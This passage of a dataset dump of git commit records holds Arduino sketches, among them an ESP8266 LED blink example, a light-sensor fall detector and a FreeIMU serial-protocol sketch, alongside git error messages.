am5Wu\/Arduino,KaloNK\/Arduino,NullMedia\/Arduino,esp8266\/Arduino,CanTireInnovations\/Arduino,sticilface\/Arduino,martinayotte\/ESP8266-Arduino,CanTireInnovations\/Arduino,toastedcode\/esp8266-Arduino,edog1973\/Arduino,Lan-Hekary\/Arduino,edog1973\/Arduino,Cloudino\/Arduino,wemos\/Arduino,Cloudino\/Cloudino-Arduino-IDE,hallard\/Arduino,CanTireInnovations\/Arduino,Links2004\/Arduino,edog1973\/Arduino,esp8266\/Arduino,Juppit\/Arduino,quertenmont\/Arduino,quertenmont\/Arduino,CanTireInnovations\/Arduino,KaloNK\/Arduino,sticilface\/Arduino,Cloudino\/Cloudino-Arduino-IDE,NextDevBoard\/Arduino,Adam5Wu\/Arduino,sticilface\/Arduino,wemos\/Arduino,toastedcode\/esp8266-Arduino,lrmoreno007\/Arduino,me-no-dev\/Arduino,quertenmont\/Arduino,NullMedia\/Arduino,Lan-Hekary\/Arduino,chrisfraser\/Arduino,hallard\/Arduino,Cloudino\/Cloudino-Arduino-IDE,KaloNK\/Arduino,Adam5Wu\/Arduino,gguuss\/Arduino,NextDevBoard\/Arduino,wemos\/Arduino,wemos\/Arduino,Cloudino\/Cloudino-Arduino-IDE,Juppit\/Arduino,jes\/Arduino,edog1973\/Arduino,NextDevBoard\/Arduino,NullMedia\/Arduino,esp8266\/Arduino,edog1973\/Arduino,NullMedia\/Arduino,Cloudino\/Cloudino-Arduino-IDE,Adam5Wu\/Arduino,chrisfraser\/Arduino,gguuss\/Arduino,wemos\/Arduino,martinayotte\/ESP8266-Arduino,quertenmont\/Arduino,Lan-Hekary\/Arduino,me-no-dev\/Arduino,lrmoreno007\/Arduino","old_file":"libraries\/esp8266\/examples\/BlinkWithoutDelay\/BlinkWithoutDelay.ino","new_file":"libraries\/esp8266\/examples\/BlinkWithoutDelay\/BlinkWithoutDelay.ino","new_contents":"\/* \n ESP8266 BlinkWithoutDelay by Simon Peter\n Blink the blue LED on the ESP-01 module\n Based on the Arduino Blink without Delay example\n This example code is in the public domain\n*\/\n\nconst int ledPin = 1; \/\/ The blue LED on the ESP-01 module is connected to GPIO1 \n \/\/ (which is also the TXD pin; so we cannot use \n \/\/ Serial.print() at the same time\n\nint ledState = LOW; \n\nunsigned long previousMillis = 0;\nconst long interval = 1000;\n\nvoid setup() {\n pinMode(ledPin, OUTPUT);\n}\n\nvoid loop()\n{\n unsigned long currentMillis = millis();\n if(currentMillis - previousMillis >= interval) {\n previousMillis = currentMillis; \n if (ledState == LOW)\n ledState = HIGH; \/\/ Note that this switches the LED *off*\n else\n ledState = LOW; \/\/ Note that this switches the LED *on*\n digitalWrite(ledPin, ledState);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'libraries\/esp8266\/examples\/BlinkWithoutDelay\/BlinkWithoutDelay.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"f0c4e72c5fd93ac999f9ea54726254e9177378ba","subject":"document code better","message":"document code better\n","repos":"jeremywrnr\/wampum,jeremywrnr\/wampum,jeremywrnr\/wampum","old_file":"arduino\/src\/hrm.ino","new_file":"arduino\/src\/hrm.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jeremywrnr\/wampum.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"8b78a432478a032b6cd8cd7532e81bff3483b19b","subject":"fixed LCD address","message":"fixed LCD address\n","repos":"ocean-x\/erikson-1,ocean-x\/erikson-1,ocean-x\/erikson-1","old_file":"motor_robot3.ino","new_file":"motor_robot3.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ocean-x\/erikson-1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"765b6e8f4fc15a5a77757b26706ab3dae51db21b","subject":"update","message":"update\n","repos":"ada\/ws,ada\/ws,ada\/ws,ada\/ws,ada\/ws","old_file":"test-ESP8266-server\/test-ESP8266-server.ino","new_file":"test-ESP8266-server\/test-ESP8266-server.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ada\/ws.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"5c24503e47428c789e80d07e322bd238118c919c","subject":"add arduino","message":"add arduino\n\nConflicts:\n\n\tlib\/python\/go_tubo.py\n","repos":"SugimotoSohei\/botti","old_file":"lib\/arduino\/fallsys.ino","new_file":"lib\/arduino\/fallsys.ino","new_contents":"\nconst int cdsPin = 0;\n\n\nvoid setup() {\n\t\/\/ pinMode(pin, mode);\n\tSerial.begin(38400);\n}\n\nvoid loop() {\n\tint cds = analogRead(cdsPin);\n\tSerial.println(cds);\n\tif(cds > 450){\n\t\tint spd = 0;\n\t\twhile(true){\n\t\t\tcds = analogRead(cdsPin);\n\t\t\tif(cds > 450){\n\t\t\t\tspd += 1;\n\t\t\t}else{\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tif(spd>=10){\n\t\t\t\tSerial.println(\"\u843d\u3061\u308d\u30fc\");\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tSerial.print(cds);\n\t\t\tSerial.print(\":\");\n\t\t\tdelay(80);\n\t\t}\n\t}\n\tdelay(300);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'lib\/arduino\/fallsys.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d6d5780b5048b16afd3c0d4c57141c8fffa49ecc","subject":"Updated to tweak settings for using magnetometer","message":"Updated to tweak settings for using magnetometer\n","repos":"bmweller\/FreeIMU-Updates,bmweller\/FreeIMU-Updates,tokk250\/FreeIMU-Updates,tokk250\/FreeIMU-Updates,mjs513\/FreeIMU-Updates,mjs513\/FreeIMU-Updates,mjs513\/FreeIMU-Updates,tokk250\/FreeIMU-Updates,mjs513\/FreeIMU-Updates,bmweller\/FreeIMU-Updates,mjs513\/FreeIMU-Updates,bmweller\/FreeIMU-Updates,tokk250\/FreeIMU-Updates,tokk250\/FreeIMU-Updates,bmweller\/FreeIMU-Updates,bmweller\/FreeIMU-Updates,mjs513\/FreeIMU-Updates,tokk250\/FreeIMU-Updates,mjs513\/FreeIMU-Updates,tokk250\/FreeIMU-Updates,mjs513\/FreeIMU-Updates,bmweller\/FreeIMU-Updates,bmweller\/FreeIMU-Updates,tokk250\/FreeIMU-Updates","old_file":"Experimental\/Processing\/FreeIMU_cube_Odo_Exp\/FreeIMU_serial_temp_303.ino","new_file":"Experimental\/Processing\/FreeIMU_cube_Odo_Exp\/FreeIMU_serial_temp_303.ino","new_contents":"\/**\n * FreeIMU library serial communication protocol\n*\/\n\n#include <ADXL345.h>\n#include <bma180.h>\n#include <HMC58X3.h>\n#include <LSM303.h>\n#include <ITG3200.h>\n#include <MS561101BA.h>\n#include <BMP085.h>\n#include <I2Cdev.h>\n#include <MPU60X0.h>\n\n#include <EEPROM.h>\n#include <Wire.h>\n#include <SPI.h>\n\n\/\/#define DEBUG\n#include \"DebugUtils.h\"\n#include \"CommunicationUtils.h\"\n#include \"FreeIMU.h\"\n\n#define Has_LSM303 1\n\n#include \"FilteringScheme.h\"\n\nKalmanFilter kFilters[4];\nint k_index = 4;\n\nfloat q[4];\nint raw_values[11];\nfloat ypr[3]; \/\/ yaw pitch roll\nchar str[256];\nfloat val[9];\nfloat val_array[17]; \n\n\/\/ Set the FreeIMU object and LSM303 Compass\nFreeIMU my3IMU = FreeIMU();\n\n#if Has_LSM303\n\n \/\/Set up tilt corrected LSM303D\n LSM303 compass;\n float declinationAngle = 0.229622;\n float heading_corr = -9999.;\n#endif\n\n\/\/The command from the PC\nchar cmd, tempCorr;\n\nvoid setup() {\n Serial.begin(38400);\n Wire.begin();\n \n float qVal = 0.125; \/\/Set Q Kalman Filter(process noise) value between 0 and 1\n float rVal = 32.; \/\/Set K Kalman Filter (sensor noise)\n \n for(int i = 0; i <= k_index; i++) { \/\/Initialize Kalman Filters for 10 neighbors\n \/\/KalmanFilter(float q, float r, float p, float intial_value);\n kFilters[i].KalmanInit(qVal,rVal,5.0,0.5);\n }\n \n \/\/#if HAS_MPU6050()\n \/\/ my3IMU.RESET();\n \/\/#endif\n\t\n my3IMU.init(true);\n\n #if Has_LSM303\n compass.init();\n compass.enableDefault();\n \n \/*\n Calibration values; the default values of +\/-32767 for each axis\n lead to an assumed magnetometer bias of 0. Use the Calibrate example\n program to determine appropriate values for your particular unit.\n *\/\n \/\/compass.m_min = (LSM303::vector<int16_t>){-32767, -32767, -32767};\n \/\/compass.m_max = (LSM303::vector<int16_t>){+32767, +32767, +32767};\n \/\/compass.m_min = (LSM303::vector<int16_t>){-3317, -4057, -3161};\n \/\/compass.m_max = (LSM303::vector<int16_t>){+2494, +1743, +2584};\n \/\/compass.m_min = (LSM303::vector<int16_t>){-2653, -3008, -2907};\n \/\/compass.m_max = (LSM303::vector<int16_t>){+2624, +2677, +2687};\n \/\/compass.m_min = (LSM303::vector<int16_t>){-3033, -3509, -3162};\n \/\/compass.m_max = (LSM303::vector<int16_t>){+3370, +2903, +3074};\n compass.m_min = (LSM303::vector<int16_t>){-2815, -3090, -2958};\n compass.m_max = (LSM303::vector<int16_t>){+2946, +2654, +2734};\n #endif\n \n \/\/ LED\n pinMode(13, OUTPUT);\n}\n\nvoid loop() {\n if(Serial.available()) {\n cmd = Serial.read();\n if(cmd=='v') {\n sprintf(str, \"FreeIMU library by %s, FREQ:%s, LIB_VERSION: %s, IMU: %s\", FREEIMU_DEVELOPER, FREEIMU_FREQ, FREEIMU_LIB_VERSION, FREEIMU_ID);\n Serial.print(str);\n Serial.print('\\n');\n }\n else if(cmd=='1'){\n #if HAS_MPU6050()\n my3IMU.RESET();\n #endif\t\n my3IMU.init(true);\n }\n else if(cmd=='2'){\n my3IMU.RESET_Q(); \n }\n else if(cmd=='t'){\n \/\/available opttions temp_corr_on, instability_fix\n my3IMU.setTempCalib(1); \n }\n else if(cmd=='f'){\n \/\/available opttions temp_corr_on, instability_fix\n my3IMU.setTempCalib(0);\n } \n else if(cmd=='r') {\n uint8_t count = serial_busy_wait();\n for(uint8_t i=0; i<count; i++) {\n my3IMU.getRawValues(raw_values);\n sprintf(str, \"%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,\", raw_values[0], raw_values[1], raw_values[2], raw_values[3], raw_values[4], raw_values[5], raw_values[6], raw_values[7], raw_values[8], raw_values[9]);\n Serial.print(str);\n #if (HAS_MS5611() || HAS_BMP085())\n Serial.print(my3IMU.getBaroTemperature()); Serial.print(\",\");\n Serial.print(my3IMU.getBaroPressure()); Serial.print(\",\");\n #endif\n #if Has_LSM303\n compass.read();\n Serial.print(compass.heading());Serial.print(\",\");\n #endif \n Serial.print(millis()); Serial.print(\",\");\n Serial.println(\"\\r\\n\");\n }\n }\n else if(cmd=='b') {\n uint8_t count = serial_busy_wait();\n for(uint8_t i=0; i<count; i++) {\n #if HAS_ITG3200()\n my3IMU.acc.readAccel(&raw_values[0], &raw_values[1], &raw_values[2]);\n my3IMU.gyro.readGyroRaw(&raw_values[3], &raw_values[4], &raw_values[5]);\n #else \/\/ MPU6050\n my3IMU.accgyro.getMotion6(&raw_values[0], &raw_values[1], &raw_values[2], &raw_values[3], &raw_values[4], &raw_values[5]);\n #endif\n writeArr(raw_values, 6, sizeof(int)); \/\/ writes accelerometer and gyro values\n #if IS_9DOM()\n my3IMU.magn.getValues(&raw_values[0], &raw_values[1], &raw_values[2]);\n writeArr(raw_values, 3, sizeof(int));\n #else\n raw_values[0] = 0;\n raw_values[1] = 0;\n raw_values[2] = 0;\n writeArr(raw_values, 3, sizeof(int));\n #endif\n Serial.println();\n }\n }\n else if(cmd == 'q') {\n uint8_t count = serial_busy_wait();\n for(uint8_t i=0; i<count; i++) {\n my3IMU.getQ(q);\n serialPrintFloatArr(q, 4);\n Serial.println(\"\");\n }\n }\n else if(cmd == 'z') {\n float val_array[17] = {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0};\n uint8_t count = serial_busy_wait();\n for(uint8_t i=0; i<count; i++) {\n my3IMU.getQ(q);\n\tval_array[15] = my3IMU.sampleFreq; \n my3IMU.getValues(val);\n val_array[7] = (val[3] * M_PI\/180);\n val_array[8] = (val[4] * M_PI\/180);\n val_array[9] = (val[5] * M_PI\/180);\n val_array[4] = (val[0]);\n val_array[5] = (val[1]);\n val_array[6] = (val[2]);\n val_array[10] = (val[6]);\n val_array[11] = (val[7]);\n val_array[12] = (val[8]);\n val_array[0] = (q[0]);\n val_array[1] = (q[1]);\n val_array[2] = (q[2]);\n val_array[3] = (q[3]);\n \/\/val_array[15] = millis();\n\n #if Has_LSM303\n compass.read();\n val_array[16] = compass.heading();\n #endif\n\t\t\n #if (HAS_MS5611() || HAS_BMP085())\n \/\/ with baro\n val_array[13] = (my3IMU.getBaroTemperature());\n val_array[14] = (my3IMU.getBaroPressure());\n #endif\n\n serialPrintFloatArr(val_array,17);\n Serial.print('\\n');\n }\t \n }\n else if(cmd == 'a') {\n float val_array[17] = {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0};\n uint8_t count = serial_busy_wait();\n for(uint8_t i=0; i<count; i++) {\n my3IMU.getQ(q);\n val_array[15] = my3IMU.sampleFreq;\n my3IMU.getValues(val); \n\tval_array[7] = (val[3] * M_PI\/180);\n\tval_array[8] = (val[4] * M_PI\/180);\n\tval_array[9] = (val[5] * M_PI\/180);\n\tval_array[4] = (val[0]);\n\tval_array[5] = (val[1]);\n\tval_array[6] = (val[2]);\n\tval_array[10] = (val[6]);\n\tval_array[11] = (val[7]);\n\tval_array[12] = (val[8]);\n\tval_array[0] = kFilters[0].measureRSSI(q[0]);\n\tval_array[1] = kFilters[1].measureRSSI(q[1]);\n\tval_array[2] = kFilters[2].measureRSSI(q[2]);\n\tval_array[3] = kFilters[3].measureRSSI(q[3]);\n\t\/\/val_array[15] = millis();\n\t\t\n #if Has_LSM303\n\t compass.read();\n val_array[16] = compass.heading();\n #endif\n\n\t#if (HAS_MS5611() || HAS_BMP085())\n\t\/\/ with baro\n\t val_array[13] = (my3IMU.getBaroTemperature());\n\t val_array[14] = (my3IMU.getBaroPressure());\n\t#endif\n\n\tserialPrintFloatArr(val_array, 17);\n Serial.println(\"\");\n }\n }\n\n #ifndef CALIBRATION_H\n else if(cmd == 'c') {\n const uint8_t eepromsize = sizeof(float) * 6 + sizeof(int) * 6;\n while(Serial.available() < eepromsize) ; \/\/ wait until all calibration data are received\n EEPROM.write(FREEIMU_EEPROM_BASE, FREEIMU_EEPROM_SIGNATURE);\n for(uint8_t i = 1; i<(eepromsize + 1); i++) {\n EEPROM.write(FREEIMU_EEPROM_BASE + i, (char) Serial.read());\n }\n my3IMU.calLoad(); \/\/ reload calibration\n \/\/ toggle LED after calibration store.\n digitalWrite(13, HIGH);\n delay(1000);\n digitalWrite(13, LOW);\n }\n else if(cmd == 'x') {\n EEPROM.write(FREEIMU_EEPROM_BASE, 0); \/\/ reset signature\n my3IMU.calLoad(); \/\/ reload calibration\n }\n #endif\n else if(cmd == 'C') { \/\/ check calibration values\n Serial.print(\"acc offset: \");\n Serial.print(my3IMU.acc_off_x);\n Serial.print(\",\");\n Serial.print(my3IMU.acc_off_y);\n Serial.print(\",\");\n Serial.print(my3IMU.acc_off_z);\n Serial.print(\"\\n\");\n \n Serial.print(\"magn offset: \");\n Serial.print(my3IMU.magn_off_x);\n Serial.print(\",\");\n Serial.print(my3IMU.magn_off_y);\n Serial.print(\",\");\n Serial.print(my3IMU.magn_off_z);\n Serial.print(\"\\n\");\n \n Serial.print(\"acc scale: \");\n Serial.print(my3IMU.acc_scale_x);\n Serial.print(\",\");\n Serial.print(my3IMU.acc_scale_y);\n Serial.print(\",\");\n Serial.print(my3IMU.acc_scale_z);\n Serial.print(\"\\n\");\n \n Serial.print(\"magn scale: \");\n Serial.print(my3IMU.magn_scale_x);\n Serial.print(\",\");\n Serial.print(my3IMU.magn_scale_y);\n Serial.print(\",\");\n Serial.print(my3IMU.magn_scale_z);\n Serial.print(\"\\n\");\n }\n else if(cmd == 'd') { \/\/ debugging outputs\n while(1) {\n my3IMU.getRawValues(raw_values);\n sprintf(str, \"%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,\", raw_values[0], raw_values[1], raw_values[2], raw_values[3], raw_values[4], raw_values[5], raw_values[6], raw_values[7], raw_values[8], raw_values[9], raw_values[10]);\n Serial.print(str);\n Serial.print('\\n');\n my3IMU.getQ(q);\n serialPrintFloatArr(q, 4);\n Serial.println(\"\");\n my3IMU.getYawPitchRoll(ypr);\n Serial.print(\"Yaw: \");\n Serial.print(ypr[0]);\n Serial.print(\" Pitch: \");\n Serial.print(ypr[1]);\n Serial.print(\" Roll: \");\n Serial.print(ypr[2]);\n Serial.println(\"\");\n }\n }\n }\n}\n\nchar serial_busy_wait() {\n while(!Serial.available()) {\n ; \/\/ do nothing until ready\n }\n return Serial.read();\n}\n\nconst int EEPROM_MIN_ADDR = 0;\nconst int EEPROM_MAX_ADDR = 511;\n\nvoid eeprom_serial_dump_column() {\n \/\/ counter\n int i;\n\n \/\/ byte read from eeprom\n byte b;\n\n \/\/ buffer used by sprintf\n char buf[10];\n\n for (i = EEPROM_MIN_ADDR; i <= EEPROM_MAX_ADDR; i++) {\n b = EEPROM.read(i);\n sprintf(buf, \"%03X: %02X\", i, b);\n Serial.println(buf);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Experimental\/Processing\/FreeIMU_cube_Odo_Exp\/FreeIMU_serial_temp_303.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"57ed5ba6f2ade1a8cf7c4b83c0ec00ce56b00ffd","subject":"Reconciled comment versions on TonePitchFollower example","message":"Reconciled comment versions on TonePitchFollower example\n","repos":"01org\/Arduino,stevemayhew\/Arduino,karlitxo\/Arduino,noahchense\/Arduino-1,ssvs111\/Arduino,zaiexx\/Arduino,laylthe\/Arduino,plinioseniore\/Arduino,ForestNymph\/Arduino_sources,PaoloP74\/Arduino,cscenter\/Arduino,stevemayhew\/Arduino,wdoganowski\/Arduino,zederson\/Arduino,Ramoonus\/Arduino,steamboating\/Arduino,eeijcea\/Arduino-1,probonopd\/Arduino,zederson\/Arduino,plaintea\/esp8266-Arduino,ricklon\/Arduino,karlitxo\/Arduino,ari-analytics\/Arduino,jaehong\/Xmegaduino,eggfly\/arduino,eggfly\/arduino,ntruchsess\/Arduino-1,arduino-org\/Arduino,jabezGit\/Arduino,mattvenn\/Arduino,superboonie\/Arduino,benwolfe\/esp8266-Arduino,stevemayhew\/Arduino,eddyst\/Arduino-SourceCode,radut\/Arduino,me-no-dev\/Arduino-1,sanyaade-iot\/Arduino-1,ntruchsess\/Arduino-1,talhaburak\/Arduino,eddyst\/Arduino-SourceCode,aichi\/Arduino-2,mboufos\/esp8266-Arduino,aichi\/Arduino-2,koltegirish\/Arduino,leftbrainstrain\/Arduino-ESP8266,zenmanenergy\/Arduino,381426068\/Arduino,zenmanenergy\/Arduino,EmuxEvans\/Arduino,byran\/Arduino,ashwin713\/Arduino,andrealmeidadomingues\/Arduino,adafruit\/ESP8266-Arduino,henningpohl\/Arduino,Ramoonus\/Arduino,KlaasDeNys\/Arduino,zederson\/Arduino,Cloudino\/Arduino,jomolinare\/Arduino,tskurauskas\/Arduino,OpenDevice\/Arduino,mangelajo\/Arduino,kidswong999\/Arduino,jaimemaretoli\/Arduino,shiitakeo\/Arduino,NeuralSpaz\/Arduino,jmgonzalez00449\/Arduino,sanyaade-iot\/Arduino-1,mangelajo\/Arduino,mc-hamster\/esp8266-Arduino,niggor\/Arduino_cc,cscenter\/Arduino,danielchalef\/Arduino,Alfredynho\/AgroSis,tskurauskas\/Arduino,UDOOboard\/Arduino,jomolinare\/Arduino,ogahara\/Arduino,Gourav2906\/Arduino,mattvenn\/Arduino,stevemarple\/Arduino-org,piersoft\/esp8266-Arduino,ogferreiro\/Arduino,stickbreaker\/Arduino,Alfredynho\/AgroSis,jamesrob4\/Arduino,koltegirish\/Arduino,NicoHood\/Arduino,stickbreaker\/Arduino,ikbelkirasan\/Arduino,381426068\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,karlitxo\/Arduino,diydrones\/Arduino,talhaburak\/Arduino,paulo-raca\/ESP8266-Arduino,noahchense\/Arduino-1,jaimemaretoli\/Arduino,tomkrus007\/Arduino,ssvs111\/Arduino,shiitakeo\/Arduino,superboonie\/Arduino,bugobliterator\/BUAGI,andyvand\/Arduino-1,jaehong\/Xmegaduino,gonium\/Arduino,zenmanenergy\/Arduino,jamesrob4\/Arduino,HCastano\/Arduino,chaveiro\/Arduino,jabezGit\/Arduino,mc-hamster\/esp8266-Arduino,fungxu\/Arduino,acosinwork\/Arduino,381426068\/Arduino,gonium\/Arduino,bigjosh\/Arduino,jabezGit\/Arduino,NicoHood\/Arduino,sanyaade-iot\/Arduino-1,PeterVH\/Arduino,stevemayhew\/Arduino,HCastano\/Arduino,ms-iot\/Arduino,EmuxEvans\/Arduino,niggor\/Arduino_cc,lulufei\/Arduino,mattvenn\/Arduino,nandojve\/Arduino,benwolfe\/esp8266-Arduino,ForestNymph\/Arduino_sources,lukeWal\/Arduino,cscenter\/Arduino,ricklon\/Arduino,Cloudino\/Arduino,zaiexx\/Arduino,gestrem\/Arduino,nkolban\/Arduino,PaoloP74\/Arduino,Chris--A\/Arduino,cscenter\/Arduino,tomkrus007\/Arduino,rodibot\/Arduino,diydrones\/Arduino,drpjk\/Arduino,noahchense\/Arduino-1,sanyaade-iot\/Arduino-1,karlitxo\/Arduino,arunkuttiyara\/Arduino,garci66\/Arduino,jamesrob4\/Arduino,Chris--A\/Arduino,OpenDevice\/Arduino,eggfly\/arduino,adafruit\/ESP8266-Arduino,jabezGit\/Arduino,mateuszdw\/Arduino,wayoda\/Arduino,onovy\/Arduino,KlaasDeNys\/Arduino,talhaburak\/Arduino,rodibot\/Arduino,me-no-dev\/Arduino-1,tskurauskas\/Arduino,SmartArduino\/Arduino-1,pdNor\/Arduino,Alfredynho\/AgroSis,lukeWal\/Arduino,byran\/Arduino,ricklon\/Arduino,raimohanska\/Arduino,leftbrainstrain\/Arduino-ESP8266,gestrem\/Arduino,PaoloP74\/Arduino,NicoHood\/Arduino,Gourav2906\/Arduino,adamkh\/Arduino,me-no-dev\/Arduino-1,chaveiro\/Arduino,adafruit\/ESP8266-Arduino,weera00\/Arduino,wilhelmryan\/Arduino,Cloudino\/Cloudino-Arduino-IDE,OpenDevice\/Arduino,zenmanenergy\/Arduino,kidswong999\/Arduino,tommyli2014\/Arduino,acosinwork\/Arduino,me-no-dev\/Arduino-1,koltegirish\/Arduino,damellis\/Arduino,jabezGit\/Arduino,wayoda\/Arduino,majenkotech\/Arduino,diydrones\/Arduino,raimohanska\/Arduino,radut\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,paulmand3l\/Arduino,henningpohl\/Arduino,zederson\/Arduino,championswimmer\/Arduino,spapadim\/Arduino,stevemayhew\/Arduino,onovy\/Arduino,henningpohl\/Arduino,koltegirish\/Arduino,mboufos\/esp8266-Arduino,gurbrinder\/Arduino,KlaasDeNys\/Arduino,byran\/Arduino,chaveiro\/Arduino,superboonie\/Arduino,paulo-raca\/ESP8266-Arduino,jabezGit\/Arduino,tbowmo\/Arduino,zederson\/Arduino,gonium\/Arduino,talhaburak\/Arduino,talhaburak\/Arduino,steamboating\/Arduino,mangelajo\/Arduino,gestrem\/Arduino,jaehong\/Xmegaduino,KlaasDeNys\/Arduino,zaiexx\/Arduino,noahchense\/Arduino-1,pdNor\/Arduino,jmgonzalez00449\/Arduino,lukeWal\/Arduino,piersoft\/esp8266-Arduino,probonopd\/Arduino,piersoft\/esp8266-Arduino,wilhelmryan\/Arduino,aichi\/Arduino-2,ccoenen\/Arduino,eddyst\/Arduino-SourceCode,majenkotech\/Arduino,ektor5\/Arduino,sanyaade-iot\/Arduino-1,rcook\/DesignLab,tannewt\/Arduino,bsmr-arduino\/Arduino,myrtleTree33\/Arduino,scdls\/Arduino,mateuszdw\/Arduino,drpjk\/Arduino,radut\/Arduino,ntruchsess\/Arduino-1,garci66\/Arduino,jomolinare\/Arduino,karlitxo\/Arduino,laylthe\/Arduino,tomkrus007\/Arduino,danielchalef\/Arduino,andyvand\/Arduino-1,eeijcea\/Arduino-1,tannewt\/Arduino,me-no-dev\/Arduino-1,radut\/Arduino,shannonshsu\/Arduino,eduardocasarin\/Arduino,cscenter\/Arduino,drpjk\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,eduardocasarin\/Arduino,ntruchsess\/Arduino-1,probonopd\/Arduino,chaveiro\/Arduino,niggor\/Arduino_cc,PaintYourDragon\/Arduino,stevemarple\/Arduino-org,mateuszdw\/Arduino,snargledorf\/Arduino,ms-iot\/Arduino,noahchense\/Arduino-1,mateuszdw\/Arduino,byran\/Arduino,aichi\/Arduino-2,nandojve\/Arduino,ms-iot\/Arduino,jaimemaretoli\/Arduino,leftbrainstrain\/Arduino-ESP8266,01org\/Arduino,koltegirish\/Arduino,linino\/Arduino,steamboating\/Arduino,cscenter\/Arduino,ms-iot\/Arduino,wayoda\/Arduino,tommyli2014\/Arduino,zenmanenergy\/Arduino,tannewt\/Arduino,tbowmo\/Arduino,ogahara\/Arduino,lulufei\/Arduino,championswimmer\/Arduino,ccoenen\/Arduino,linino\/Arduino,lulufei\/Arduino,tomkrus007\/Arduino,tbowmo\/Arduino,probonopd\/Arduino,rodibot\/Arduino,smily77\/Arduino,andyvand\/Arduino-1,EmuxEvans\/Arduino,fungxu\/Arduino,plinioseniore\/Arduino,stevemarple\/Arduino-org,Cloudino\/Arduino,UDOOboard\/Arduino,acosinwork\/Arduino,acosinwork\/Arduino,karlitxo\/Arduino,rodibot\/Arduino,probonopd\/Arduino,nandojve\/Arduino,Cloudino\/Cloudino-Arduino-IDE,arunkuttiyara\/Arduino,aichi\/Arduino-2,niggor\/Arduino_cc,leftbrainstrain\/Arduino-ESP8266,plinioseniore\/Arduino,Cloudino\/Arduino,jomolinare\/Arduino,tskurauskas\/Arduino,smily77\/Arduino,tommyli2014\/Arduino,aichi\/Arduino-2,adamkh\/Arduino,NicoHood\/Arduino,tomkrus007\/Arduino,gurbrinder\/Arduino,jabezGit\/Arduino,onovy\/Arduino,championswimmer\/Arduino,gberl001\/Arduino,ektor5\/Arduino,Protoneer\/Arduino,myrtleTree33\/Arduino,zaiexx\/Arduino,nandojve\/Arduino,jamesrob4\/Arduino,PaintYourDragon\/Arduino,danielchalef\/Arduino,niggor\/Arduino_cc,stickbreaker\/Arduino,nkolban\/Arduino,Orthogonal-Systems\/arduino-libs,paulo-raca\/ESP8266-Arduino,SmartArduino\/Arduino-1,nandojve\/Arduino,jmgonzalez00449\/Arduino,NeuralSpaz\/Arduino,nkolban\/Arduino,paulmand3l\/Arduino,jamesrob4\/Arduino,Gourav2906\/Arduino,radut\/Arduino,damellis\/Arduino,ogferreiro\/Arduino,OpenDevice\/Arduino,xxxajk\/Arduino-1,weera00\/Arduino,NaSymbol\/Arduino,leftbrainstrain\/Arduino-ESP8266,superboonie\/Arduino,mc-hamster\/esp8266-Arduino,bsmr-arduino\/Arduino,paulo-raca\/ESP8266-Arduino,shannonshsu\/Arduino,garci66\/Arduino,ccoenen\/Arduino,bigjosh\/Arduino,koltegirish\/Arduino,scdls\/Arduino,steamboating\/Arduino,adamkh\/Arduino,jaehong\/Xmegaduino,ikbelkirasan\/Arduino,gberl001\/Arduino,rcook\/DesignLab,ThoughtWorksIoTGurgaon\/Arduino,onovy\/Arduino,linino\/Arduino,ari-analytics\/Arduino,SmartArduino\/Arduino-1,Cloudino\/Cloudino-Arduino-IDE,henningpohl\/Arduino,vbextreme\/Arduino,SmartArduino\/Arduino-1,zaiexx\/Arduino,ikbelkirasan\/Arduino,SmartArduino\/Arduino-1,rodibot\/Arduino,ms-iot\/Arduino,ikbelkirasan\/Arduino,tomkrus007\/Arduino,NeuralSpaz\/Arduino,Alfredynho\/AgroSis,gestrem\/Arduino,byran\/Arduino,ashwin713\/Arduino,noahchense\/Arduino-1,ogferreiro\/Arduino,stickbreaker\/Arduino,pdNor\/Arduino,PaintYourDragon\/Arduino,NeuralSpaz\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,zaiexx\/Arduino,ForestNymph\/Arduino_sources,PaintYourDragon\/Arduino,jaimemaretoli\/Arduino,niggor\/Arduino_cc,ForestNymph\/Arduino_sources,cscenter\/Arduino,eddyst\/Arduino-SourceCode,mateuszdw\/Arduino,Orthogonal-Systems\/arduino-libs,jamesrob4\/Arduino,pdNor\/Arduino,PeterVH\/Arduino,Chris--A\/Arduino,myrtleTree33\/Arduino,PaoloP74\/Arduino,bugobliterator\/BUAGI,byran\/Arduino,381426068\/Arduino,acosinwork\/Arduino,ssvs111\/Arduino,nkolban\/Arduino,jmgonzalez00449\/Arduino,ikbelkirasan\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,henningpohl\/Arduino,tannewt\/Arduino,spapadim\/Arduino,Protoneer\/Arduino,adamkh\/Arduino,Orthogonal-Systems\